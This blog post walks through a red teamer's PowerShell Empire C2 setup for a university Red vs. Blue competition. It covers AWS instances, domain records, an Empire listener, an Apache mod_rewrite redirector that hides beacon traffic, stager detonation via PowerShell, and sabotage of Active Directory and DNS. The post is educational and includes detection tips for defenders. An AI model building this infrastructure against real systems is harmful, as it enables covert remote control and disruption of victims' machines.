This past weekend, I had the pleasure of red teaming at University of Buffalo’s competition called Lockdown. It was a fantastic competition and I had ALOT of fun interacting/challenging the blue teamers on Windows. This blog post will focus on my C2 infrastructure setup for Powershell Empire.
DISCLAIMER
The information contained in this blog post is for educational purposes ONLY! HoldMyBeerSecurity.com/HoldMyBeer.xyz and its authors DO NOT hold any responsibility for any misuse or damage of the information provided in blog posts, discussions, activities, or exercises.
DISCLAIMER
Network diagram
Create/Setup AWS resources
Create VPC network
- Login into AWS
- Select “VPC” from the list of AWS services
- Select “Start VPC Wizard”
- Select “VPC with a Single Public Subnet”
- Enter “10.21.0.0/16” for “IPv4 CIDR block”
- Enter “RedTeamVPC” for “VPC Name”
- Enter “10.21.1.0/24” for “Public subnet’s IPv4 CIDR”
- Enter “RedTeamVPC_Pub” for “Public subnet name”
- Select “Create VPC”
Create EC2 instances
Teamserver
- Select “EC2” from the list of services
- Select “Launch instance”
- Step 1: Choose an Amazon Machine Image (AMI)
- Select “Ubuntu Server 16.04 LTS (HVM), SSD Volume Type”
- Step 2: Choose an Instance Type
- Select “t2.medium”
- Select “Configure Instance Details”
- Step 3: Configure Instance Details
- Select “RedTeamVPC” for network
- Make sure “RedTeamVPC_pub” is selected for “Subnet”
- Select “Enable” for “Auto-assign Public IP”
- Select “Next: Add storage”
- Step 4: Add Storage
- Enter “20” for “Size (GiB)”
- Select “Add tags”
- Step 5: Add tags
- Select “Add tag”
- Enter “Name” for key
- Enter “Redteam-teamserver” for value
- Select “Configure Security Group”
- Step 6: Configure Security Group
- Enter “Redteam-teamserver” for security group name
- For the SSH rule enter YOUR public IP for source
- My school has public IP range which I will use
- Select “Add rule”
- Set type to “All traffic”
- Enter “10.21.1.0/24” for source
- Select “Review and Launch”
- Step 7: Review Instance Launch
- Select Launch
- For the Key pair select “existing key pair” or “new key pair”
- Select “Launch instance”
- Select “View instances”
- Wait for new instance to initialize completely
- The “Status checks” column should be “2/2 checks passed”
- Copy the “IPv4 Public IP” for the new instance
C2 servers
- Select “EC2” from the list of services
- Select “Launch instance”
- Step 1: Choose an Amazon Machine Image (AMI)
- Select “Ubuntu Server 16.04 LTS (HVM), SSD Volume Type”
- Step 2: Choose an Instance Type
- Select “t2.small”
- Select “Configure Instance Details”
- Step 3: Configure Instance Details
- Enter “1” for “Number of instances”
- Ignore the 3 in the photo
- Select “RedTeamVPC” for network
- Make sure “RedTeamVPC_pub” is selected for “Subnet”
- Select “Enable” for “Auto-assign Public IP”
- Select “Next: Add storage”
- Enter “1” for “Number of instances”
- Step 4: Add Storage
- Enter “20” for “Size (GiB)”
- Select “Add tags”
- Step 5: Add Tags
- Select “Add tag”
- Enter “Name” for key
- Enter “Redteam-c2” for value
- Select “Configure Security Group”
- Step 6: Configure Security Group
- Enter “Redteam-c2” for security group name
- For the SSH rule enter YOUR public IP for source
- My school has public IP range which I will use
- Select “Add rule”Set type to “HTTP”
- Enter “X.X.X.X” for source
- From anywhere: “0.0.0.0/0”
- Specific range: “129.21.0.0/16”
- Select “Review and Launch”
- Step 7: Review Instance LaunchSelect Launch
- Select Launch
- For the Key pair select “existing key pair” or “new key pair”
- Select “Launch instance”
- Select “View instances”
- Wait for new instance to initialize completely
- The “Status checks” column should be “2/2 checks passed”
- Copy the “IPv4 Public IP” for the new instance
Setup/Configure domains via Namecheap
This guide assumes you already have domains purchased. You DO NOT have to use Namecheap but it is my registrar of choice :). I will be using “hackinglab.beer” for my teamserver and “scriptkiddie.ninja” for my C2.
Hackinglab.beer – teamserer
- Log into Namecheap.com
- Select “Domain list” on the left
- Select “Manage” by the domain you wish to configure
- One of my domains is Hackinglab.beer for the teamserver
- Select “Advance DNS” tab at the top
- Select “Add new record”
- Select “A record” for type
- Enter “empire” for host
- Enter “<EC2 public IP addr for Empire teamserver>” for value
- Select the check mark to save record
Scriptkiddie.ninja – c2
- Select “Domain list” on the left
- Select “Manage” by the domain you wish to configure
- One of my domains is scriptkiddie.ninja for my C2
- Select “Advance DNS” tab at the top
- Select “Add new record”
- Select “A record” for type
- Enter “@” for host
- Enter “<EC2 public IP addr for C2>” for value
- Select the check mark to save record
Install/Setup Powershell Empire teamserver
Initial setup
- ssh [email protected]
- sudo apt update -y && sudo apt upgrade -y
- sudo apt install vim git tmux -y
- tmux new -s empire
- Creates a new TMUX session named empire
- tmux basics
- Detach from tmux session: Control +B +D
- Enter tmux session: tmux attach -t empire
- git clone https://github.com/EmpireProject/Empire.git
- sudo ./setup/install.sh
- Hit enter for “Enter server negotiation password, enter for random generation:”
- sudo chown ubuntu:ubuntu -R ../Empire
- ./empire
Create listener
This section may be a bit confusing at first, like it was for me. The Host part of the Listener is the address that will be set in Powershell Empire stager. This is why we set it to “http://scriptkiddie.ninja” because our C2 is located at the domain of “scriptkiddie.ninja” and Apache is listening on port 80. Next, we set Port 5000 which is local port that the listener will use on the Empire teamserver. Our Apache C2 server will redirect all traffic coming in on port 80 to port 5000 on our teamserver.
- Enter “listeners”
- Enter “uselistener http”
- set Name httpScriptkiddie
- set Host http://scriptkiddie.ninja:80
- set Port 5000
- execute
- ignore warning
Install/Setup C2 servers – redirectors
The credit of this section goes to BlueScreenOfJeff. Here is the entire guide write up for the Apache C2 HTTPs redirector, thanks BlueScreenOfJeff!!! This blog post will only implement HTTP and not HTTPS. If you want HTTPS please follow the guide provided. FYI, all redirects that don’t match “.htaccess” will be redirected to “https://google.com”.
- ssh [email protected]
- sudo su
- apt update -y && sudo apt upgrade -y
- apt install apache2 -y
- a2enmod ssl rewrite proxy proxy_http
- a2ensite default-ssl.conf
- systemctl restart apache2
- systemctl enable apache2
- vim /etc/apache2/apache2.conf
- find “<Directory /var/www/>”
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
- save and exit
- find “<Directory /var/www/>”
- vim /var/www/html/.htaccess
- Add:
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(admin/get.php|login/process.php|news.php)/?$ [NC]
RewriteRule ^.*$ http://<PRIVATE IP addr of Empire>:<Empire listener port - 5000>%{REQUEST_URI} [P]
RewriteRule ^.*$ https://google.com/ [L,R=302]
- save and exit
- Add:
- systemctl restart apache2
Hammer time: Powershell Empire
Generate Empire stager
- Go back to Empire teamserver
- usestager multi/launcher httpScriptkiddie
- execute
Detonate Empire stager
For initial compromise of the machines, I have scripts that utilize PSexec and WinRM to log into machines and run commands. Unfortunately, at this time I will not be sharing those scripts because it is not the focus of this blog post. Please refer to Mubix’s blog post on Executing code via SMB/DCOM Without PSexec for a tutorial on initial compromise.
- Copy the Powershell Empire stager output from above
- Open Powershell prompt on a Windows machine
- Paste contents from above into Powershell and press enter
- Return to Empire teamserver
Interacting with Empire beacon
System info
- interact <new agent ID>
- sysinfo
Process list
- ps
Red team tactics
HTTP Beacons
Empire uses a technique called beaconing. An Empire agent running on your machine will periodically will call back to the Empire teamserver for new tasks. If the teamserver has no tasks for the agent it will go back to sleep. If the teamserver has tasks for the agent it will run those tasks and return the results. Beacons can be very hard to find because the transaction happens so fast(witin miliseconds). The best way to detect beaconing is monitoring DNS queries and monitoring HTTP traffic with Wireshark.
Process injection
Once my Empire agents made it onto the machine I had a script that would migrate them to another process, such as Explorer.exe. Process injection is a technique used for running code within the address space of another process. I will not reveal the process I migrated too but it is a process that SHOULD not be initiating requests to the Internet. Process Explorer and Process Monitor are two tools in the Sysinternals toolkit that allow you to analyze the system for this type of activity.
Active Directory
The scoring engine was checking round robin style, if three accounts existed by doing an ldapsearch for those users. The first tactic I used was to delete one of the three users. I will be honest, I was laughing to myself when I did this because one out of three checks would fail. When this happens look at the scoring engine logs, if you have the permissions to do so. Next, I renamed one of the three users by switching two letters in the username. For example, the valid user “nickbird” became “nicbkird”. Again this made one out of three checks fail. Finally, at the end red team wanted a red board, to make this happen I disabled the Active Directory Service with a script.
DNS server
The scoring engine was checking to see if one out of 8 DNS records existed. However, I left the “ad.teamX” record because I wasn’t sure if that would break clients connecting to the domain. Additionally, this meant that clients connecting to the domain would still work :). Next, I tried disabled the DNS server service but alot of teams caught onto this and re-enabled it. Finally, to make the board red I paused the DNS zone for the local domain. This allowed you to resolv “google.com” via your local DNS but it couldn’t resolv “gitlab.teamX”.
Takeaway for blue teamers
I have been doing Red vs. Blue competitions since my freshmen year (5 years). Being a Blue teamer can be overwhelming, challenging, difficult, stressful, and incredibly complex. Our job as Red teamers is to create an environment that challenges Blue teamers to learn new things, to create unique solutions to problems that arise, and to create stress through various Red team activities. I know that last part may sound terrible, but handling stress is a good avenue to help mature and polish your skills. In the real world, when breaches occur, you need to keep cool, calm, and collected to handle the incident in an appropriate and timely manner. One way to know how you will react to a real-world situation, is to participate in these competitions. Alex Levinson, a National CCDC Red teamer, says it best “You can’t buy experience. It must be earned through sweat, tears, and many sleepless nights.”
During these competitions, you will fail and that is OKAY, but make a list and when you go home, improve upon where you fell short. This is a continuous cycle that I do after EVERY competition. As a Red teamer, I really want you to KICK ME OUT OF YOUR BOX! I will do everything to STOP that from happening, but I genuinely do want you to succeed!
Finally, team moral is a huge factor that usually dictates if a team will win or not. The teams that have good moral will typically win but not in all cases. The RIT CCDC team that I competed with loved singing Taylor Swift, and when the stress levels were high we would start singing TSwift to reduce the stress. I encourage all teams to do something similar, heck have corny jokes on hand – everyone loves dad jokes. How you and your team handle the stress may be the factor that makes you the winning team or the losing team. As a last and final note, if you walk away learning something YOU ARE A WINNER. Competitions are a place to LEARN and a place to make mistakes that won’t impact the lives of others, unlike the real word.
DISCLAIMER
The information contained in this blog post is for educational purposes ONLY! HoldMyBeerSecurity.com/HoldMyBeer.xyz and its authors DO NOT hold any responsibility for any misuse or damage of the information provided in blog posts, discussions, activities, or exercises.
DISCLAIMER
Resources/Sources
- Github: Powershell Empire
- Doc: Powershell Empire
- bluscreenofjeff/Red-Team-Infrastructure-Wiki
- Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite
- HTTPS Payload and C2 Redirectors
- Executing code via SMB/DCOM Without PSexec
- CCDC Is The “Real World” And Here’s Why
- Mitre Attack matrix – Windows
- Sysinternals
I would Like to Confirm with you.Do we Need to set up nameserver to Namecheap ? without NS record putting A record ?
Hey Osiris,
If you purchase your domain on Namecheap then the domain is setup to use Namecheap’s nameservers. However, Namecheap provides the ability to set custom nameservers.
Having read this I believed it was really informative.
I appreciate you taking the time and energy to put this article
together. I once again find myself spending way too much time both reading and commenting.
But so what, it was still worth it!